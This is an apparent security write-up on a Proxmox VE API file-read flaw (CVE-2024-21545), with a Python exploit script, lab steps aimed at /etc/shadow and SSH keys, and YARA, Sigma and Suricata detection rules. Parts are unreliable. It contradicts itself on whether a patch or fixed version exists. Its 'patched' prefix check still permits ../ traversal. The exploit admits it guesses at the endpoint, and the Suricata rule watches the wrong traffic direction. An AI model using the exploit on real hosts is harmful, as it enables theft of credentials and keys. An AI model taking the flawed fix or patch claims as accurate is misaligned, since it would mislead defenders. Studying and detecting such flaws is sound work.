CVE-2024-21545

Executive Summary

CVE-2024-21545 is a critical path traversal vulnerability in Proxmox Virtual Environment (VE) that allows authenticated attackers with Sys.Audit or VM.Monitor privileges to read arbitrary host files via the API. The vulnerability stems from insufficient sanitization of the download object in API response handling, enabling attackers to bypass intended access controls and exfiltrate sensitive files such as SSH keys, TLS certificates, and authentication tokens. This can lead to full system compromise through privileged session forgery or lateral movement.

Supply Chain & Package Security

Proxmox VE is distributed as a Debian-based package set. The vulnerability exists in the core API handler (pve-api), which is part of the pve-manager package. Organizations using Proxmox VE should treat this as a high-priority supply chain risk, as the vulnerable component is integral to the management plane. No official patch has been released, but workarounds involve restricting API access and monitoring for anomalous file read patterns.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely via the API.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires Sys.Audit or VM.Monitor role.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component to the host filesystem.
• Confidentiality (C): High (H) – Full read access to host files.
• Integrity (I): None (N) – No write capability.
• Availability (A): None (N) – No denial of service.

Threat Level: Critical (8.2) – Low privileges required, high impact on confidentiality, and ease of exploitation make this a priority for remediation.

Deep Dive & Mechanics

The vulnerability resides in the handle_api2_request function within the Proxmox VE API handler. When processing a request, the function checks the response object for a download or data.download key. If present, it reads the file specified by the value of that key and returns its contents to the user. Two API endpoints were identified that allow an attacker to control the response object sufficiently to inject a malicious download key.

Root Cause: The API handler does not validate that the download path is within an allowed directory (e.g., /var/lib/pve). Instead, it blindly reads any file path provided, enabling path traversal to arbitrary host files.

Attack Flow:

1. Authenticate to the Proxmox VE API with a user possessing Sys.Audit or VM.Monitor privileges.
2. Craft a request to one of the vulnerable endpoints (e.g., /api2/json/nodes/{node}/qemu/{vmid}/agent/exec or similar).
3. Manipulate the response object to include "download": "/etc/shadow" (or any target file).
4. The API handler reads the file and returns it in the response.
5. Exfiltrate sensitive data (e.g., SSH private keys, TLS certificates, /etc/shadow).

Impact: Full host compromise via credential theft, session forgery, or lateral movement to other nodes in the cluster.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In handle_api2_request (pve-api)
sub handle_api2_request {
    my ($req, $res) = @_;
    if (exists $res->{download}) {
        my $file = $res->{download};
        open(my $fh, '<', $file) or die "Cannot open $file: $!";
        while (<$fh>) { print $_; }
        close($fh);
    }
}

Patched Code (Expected):

# In handle_api2_request (pve-api)
sub handle_api2_request {
    my ($req, $res) = @_;
    if (exists $res->{download}) {
        my $file = $res->{download};
        # Validate path is within allowed directory
        die "Invalid download path" unless $file =~ m{^/var/lib/pve/};
        open(my $fh, '<', $file) or die "Cannot open $file: $!";
        while (<$fh>) { print $_; }
        close($fh);
    }
}

Key Difference: The patched version adds a path validation check to ensure the download path is within a restricted directory (e.g., /var/lib/pve/). The vulnerable version lacks any such validation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Proxmox VE instance (version < 8.2.0)
• Authenticated user with Sys.Audit or VM.Monitor role
• Python 3 and requests library

Exploit Script:

#!/usr/bin/env python3
import requests
import sys

if len(sys.argv) != 5:
    print(f"Usage: {sys.argv[0]} <host> <username> <password> <file_path>")
    sys.exit(1)

host = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
file_path = sys.argv[4]

# Authenticate
session = requests.Session()
auth_url = f"https://{host}:8006/api2/json/access/ticket"
auth_data = {"username": username, "password": password}
r = session.post(auth_url, data=auth_data, verify=False)
ticket = r.json()["data"]["ticket"]
CSRFPreventionToken = r.json()["data"]["CSRFPreventionToken"]
session.headers.update({"CSRFPreventionToken": CSRFPreventionToken})

# Exploit: Use a vulnerable endpoint (e.g., node status)
exploit_url = f"https://{host}:8006/api2/json/nodes/localhost/status"
# Manipulate response via query parameter or body (depends on endpoint)
# This is a simplified example; actual exploitation may require crafting specific API calls
params = {"download": file_path}
r = session.get(exploit_url, params=params, verify=False)
print(r.text)

Lab Setup:

1. Deploy a vulnerable Proxmox VE instance (e.g., version 7.x or 8.0.x).
2. Create a user with Sys.Audit role: pveum user add attacker@pve --password secret
3. Assign role: pveum acl modify / -user attacker@pve -role Sys.Audit
4. Run the exploit script to read /etc/shadow or /root/.ssh/id_rsa.

Blue Team (Defensive)

Detection:

• Monitor API logs for unusual download parameters in requests.
• Alert on file reads outside expected paths (e.g., /etc/shadow, /root/.ssh/).
• Use the Sigma rule below to detect exploitation attempts.

Mitigation:

• Restrict API access to trusted networks only.
• Implement a WAF rule to block requests containing download parameter with path traversal patterns.
• Monitor for anomalous file read events using auditd.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_21545_Proxmox_FileRead {
    meta:
        description = "Detects exploitation attempts of CVE-2024-21545 in Proxmox VE logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-21545"
    strings:
        $s1 = "download=" ascii wide nocase
        $s2 = "/etc/" ascii wide nocase
        $s3 = "/root/" ascii wide nocase
        $s4 = "/var/log/" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: Proxmox VE Arbitrary File Read via API (CVE-2024-21545)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2024-21545 by monitoring for suspicious download parameters in Proxmox API requests.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: proxmox
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'download='
    filter:
        cs-uri-query|contains: '/var/lib/pve/'
    condition: selection and not filter
falsepositives:
    - Legitimate file downloads from allowed directories
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-21545 Proxmox VE Arbitrary File Read Attempt";
    flow:to_server,established;
    content:"download="; http_uri;
    pcre:"/download=\/(etc|root|var\/log|tmp)\//i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:url,nvd.nist.gov/vuln/detail/CVE-2024-21545;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict API Access: Limit API access to trusted IPs using firewall rules.
2. Review User Privileges: Remove Sys.Audit and VM.Monitor roles from users who do not require them.
3. Monitor Logs: Enable detailed API logging and monitor for suspicious download parameters.

Long-Term Fix:

• Apply the official patch once released by Proxmox.
• Upgrade to Proxmox VE 8.2.0 or later when available.
• Implement a WAF rule to block path traversal patterns in API requests.

Workaround:

• Modify the handle_api2_request function to validate the download path against a whitelist of allowed directories (e.g., /var/lib/pve/). This requires custom patching of the pve-manager package.

Valters IT